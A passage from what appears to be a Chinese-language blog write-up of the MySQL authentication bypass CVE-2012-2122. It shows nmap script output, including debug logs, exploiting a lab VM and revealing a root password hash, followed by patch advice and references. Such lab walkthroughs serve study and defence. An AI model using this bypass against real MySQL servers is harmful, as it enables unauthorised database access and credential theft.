Server version: 5.5.23 Source distribution Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [mysql]>
4、nmap script(mysql-vuln-cve2012-2122):
root@kali:~# nmap -sV -T4 -p3306 --script=mysql-vuln-cve2012-2122 192.168.118.130 Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-29 16:07 CST
Nmap scan report for bogon (192.168.118.130)
Host is up (0.00033s latency).
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.5.23
| mysql-vuln-cve2012-2122:
| VULNERABLE:
| Authentication bypass in MySQL servers.
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2012-2122
| When a user connects to MariaDB/MySQL, a token (SHA
| over a password and a random scramble string) is calculated and compared
| with the expected value. Because of incorrect casting, it might've
| happened that the token and the expected value were considered equal,
| even if the memcmp() returned a non-zero value. In this case
| MySQL/MariaDB would think that the password is correct, even while it is
| not. Because the protocol uses random strings, the probability of
| hitting this bug is about 1/256.
| Which means, if one knows a user name to connect (and "root" almost
| always exists), she can connect using *any* password by repeating
| connection attempts. ~300 attempts takes only a fraction of second, so
| basically account password protection is as good as nonexistent.
|
| Disclosure date: 2012-06-9
| Extra information:
| Server granted access at iteration #1500
|
| root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
|
| References:
| http://seclists.org/oss-sec/2012/q2/493
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
|_ https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
MAC Address: 00:0C:29:25:90:3B (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
-d选项来查看debug信息,查看具体的信息如下:
root@kali:~# nmap -sV -T4 -p3306 -d --script=mysql-vuln-cve2012-2122 192.168.118.130 Starting Nmap 7.40 ( https://nmap.org ) at 2018-08-29 16:13 CST
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 500, min 100, max 1250
max-scan-delay: TCP 10, UDP 1000, SCTP 10
parallelism: min 0, max 0
max-retries: 6, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
NSE: Using Lua 5.3.
NSE: Arguments from CLI:
NSE: Loaded 41 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
Initiating ARP Ping Scan at 16:13
Scanning 192.168.118.130 [1 port]
Packet capture filter (device eth0): arp and arp[18:4] = 0x000C29A8 and arp[22:2] = 0x84F5
Completed ARP Ping Scan at 16:13, 0.03s elapsed (1 total hosts)
Overall sending rates: 29.01 packets / s, 1218.42 bytes / s.
mass_rdns: Using DNS server 192.168.118.2
Initiating Parallel DNS resolution of 1 host. at 16:13
mass_rdns: 0.00s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
Completed Parallel DNS resolution of 1 host. at 16:13, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:13
Scanning bogon (192.168.118.130) [1 port]
Packet capture filter (device eth0): dst host 192.168.118.128 and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 192.168.118.130)))
Discovered open port 3306/tcp on 192.168.118.130
Completed SYN Stealth Scan at 16:13, 0.04s elapsed (1 total ports)
Overall sending rates: 23.44 packets / s, 1031.36 bytes / s.
Initiating Service scan at 16:13
Scanning 1 service on bogon (192.168.118.130)
Completed Service scan at 16:13, 0.00s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.118.130.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:13
NSE: Starting mysql-vuln-cve2012-2122 against 192.168.118.130:3306.
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #1
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #2
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #3
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #4
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #5
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #6
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #7
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #8
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #9
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #10
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #11
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #12
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #13
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #14
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #15
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #16
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #17
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #18
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #19
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #20
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #21
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #22
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #23
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #24
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #25
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #26
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #27
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #28
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #29
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #30
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #31
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #32
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #33
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #34
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #35
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #36
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #37
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #38
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #39
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #40
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #41
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #42
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #43
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #44
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #45
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #46
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #47
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #48
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #49
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #50
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #51
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #52
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #53
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #54
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #55
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #56
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #57
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #58
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #59
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #60
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #61
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #62
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #63
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #64
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #65
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #66
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #67
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #68
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #69
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #70
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #71
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #72
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #73
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #74
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #75
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #76
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #77
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #78
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #79
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #80
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #81
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #82
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #83
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #84
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #85
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #86
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #87
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #88
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #89
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #90
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #91
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #92
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #93
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #94
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #95
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #96
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #97
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #98
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #99
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #100
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #101
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #102
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #103
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #104
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #105
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #106
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #107
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #108
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #109
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #110
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #111
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #112
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #113
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #114
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #115
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #116
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #117
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #118
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #119
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #120
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #121
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #122
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #123
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #124
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #125
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #126
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #127
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #128
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #129
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #130
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #131
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #132
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #133
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #134
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #135
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #136
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #137
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #138
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #139
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #140
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #141
NSE: [mysql-vuln-cve2012-2122 192.168.118.130:3306] Connection attempt #142
NSE: Finished mysql-vuln-cve2012-2122 against 192.168.118.130:3306.
Completed NSE at 16:13, 0.42s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
Nmap scan report for bogon (192.168.118.130)
Host is up, received arp-response (0.00068s latency).
Scanned at 2018-08-29 16:13:26 CST for 1s
PORT STATE SERVICE REASON VERSION
3306/tcp open mysql syn-ack ttl 63 MySQL 5.5.23
| mysql-vuln-cve2012-2122:
| VULNERABLE:
| Authentication bypass in MySQL servers.
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2012-2122
| When a user connects to MariaDB/MySQL, a token (SHA
| over a password and a random scramble string) is calculated and compared
| with the expected value. Because of incorrect casting, it might've
| happened that the token and the expected value were considered equal,
| even if the memcmp() returned a non-zero value. In this case
| MySQL/MariaDB would think that the password is correct, even while it is
| not. Because the protocol uses random strings, the probability of
| hitting this bug is about 1/256.
| Which means, if one knows a user name to connect (and "root" almost
| always exists), she can connect using *any* password by repeating
| connection attempts. ~300 attempts takes only a fraction of second, so
| basically account password protection is as good as nonexistent.
|
| Disclosure date: 2012-06-9
| Extra information:
| Server granted access at iteration #1500
|
| root:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
|
| References:
| http://seclists.org/oss-sec/2012/q2/493
| https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
MAC Address: 00:0C:29:25:90:3B (VMware)
Final times for host: srtt: 677 rttvar: 3967 to: 100000 NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
Read from /usr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap-service-probes nmap-services.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
root@kali:~#
四、漏洞修复建议
升级官方补丁:
MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23
MySQL 5.1.63, 5.5.24, 5.6.6
Sebug临时解决办法:
在防火墙上关闭mysql端口
参考:
http://www.freebuf.com/vuls/3815.html
http://blog.51cto.com/linuxgeek/998210
https://www.exploit-db.com/exploits/19092/
https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
Next:
1、分析mysql源码 http://blog.51cto.com/linuxgeek/998210进一步的学习
2、分析nmap、metasploit脚本提高脚本编写能力
3、漏洞环境复现,目前在官方下载了对应有漏洞的mysql版本并安装在Windows下,但是并没有复现成功!
CVE-2012-2122-Mysql身份认证漏洞及利用的更多相关文章
- 2020/2/4 PHP代码审计之会话认证漏洞
0x00 会话认证漏洞简介 会话认证是个非常大的话题,涉及各种协议和框架,如cookie.session.sso.oauth.openid等. 而其中最常使用的是Cookie和Session,他们都能 ...
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...
- Kali学习笔记30:身份认证与命令执行漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ...
- CVE-2020-17523:Apache Shiro身份认证绕过漏洞分析
0x01 Apache Shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 0x02 漏洞简介 2021年2月1日,Apache Shiro官 ...
- .NET Web的身份认证
百度一下”asp.net身份认证“,你会得到很多相关的资料,这些资料通常上来就会介绍诸如”Form认证“”Windows认证“等内容,而没有给出一个完整的流程.初学者对此往往一头雾水,我也曾经被坑过很 ...
- RESTful Api 身份认证安全性设计
REST是一种软件架构风格.RESTful Api 是基于 HTTP 协议的 Api,是无状态传输.它的核心是将所有的 Api 都理解为一个网络资源.将所有的客户端和服务器的状态转移(动作)封装到 H ...
- asp.net身份认证
在网上看到几篇比较好的文章很详细讲解了Form.Membership.以及Identity身份认证 Form身份认证: http://www.cnblogs.com/fish-li/archive/2 ...
- SQL Server 数据库身份认证以及包含数据库
首先分为SQL Server 认证与Windows 身份认证. SQL Server 认证可以运行以下语句来查询 select * from sys.sql_logins 管理员可以直接修改密码,但无 ...
- Oracle MySQL Server 安全漏洞
漏洞名称: Oracle MySQL Server 安全漏洞 CNNVD编号: CNNVD-201401-317 发布时间: 2014-01-22 更新时间: 2014-01-22 危害等级: 中危 ...
随机推荐
- SQLSERVER2012误删数据恢复过程
由于长时间从事企业应用系统开发,前往用户现场升级.调试系统是比较常做的事情,但是就在周一,由于同事的失误在毫无知觉的情况下误删了生产数据库几乎所有的数据.当我发现的那一刻,感觉头发都立起来了,心想这他 ...
- 【算法】2-sat问题【模板】
什么是2-sat问题 有n个布尔型变量xi,另外m个需要满足的条件.每个条件都是“xi为真/假或者xj为真/假”.这句话中的“或者”意味着两个条件中至少有一个正确.2-sat问题的目标是给每个变量赋值 ...
- 多个div嵌套,获取鼠标所点击的div对象
我选择的是冒泡事件 $(function() { $("#主divID").on("click",function(e) {//主div是必须存在的 //冒泡事 ...
- XHTML的规范化
-------------------siwuxie095 XHTML 简介 1.什么是 XHTML? XHTM ...
- 面向对象JS基础
什么是面向对象?面向对象是一种思想!(废话). 面向对象可以把程序中的关键模块都视为对象,而模块拥有属性及方法.这样我们如果把一些属性及方法封装起来,日后使用将非常方便,也可以避免繁琐重复的工作.接下 ...
- 前端学习--HTML标签温习一
1.<a>标签 在所有浏览器中,链接的默认外观如下: 1)未被访问的链接带有下划线而且是蓝色的 2)已被访问的链接带有下划线而且是紫色的 3)活动链接带有下划线而且是红色的 提示:如果没有 ...
- 高性能python编程之协程(stackless)-乾颐堂
我们都知道并发(不是并行)编程目前有四种方式,多进程,多线程,异步,和协程. 多进程编程在python中有类似C的os.fork,当然还有更高层封装的multiprocessing标准库,在之前写过的 ...
- cannot find -lf2c
sudo apt-get install libf2c2 auso apt-get install libf2c2-dev
- 【转】C++中#if #ifdef 的作用
一般情况下,源程序中所有的行都参加编译.但是有时希望对其中一部分内容只在满足一定条件才进行编译,也就是对一部分内容指定编译的条件,这就是“条件 编译”.有时,希望当满足某条件时对一组语句进行编译,而当 ...
- [GO]结构体的值传递和地址传递
package main import "fmt" type student struct { id int name string sex byte age int addr s ...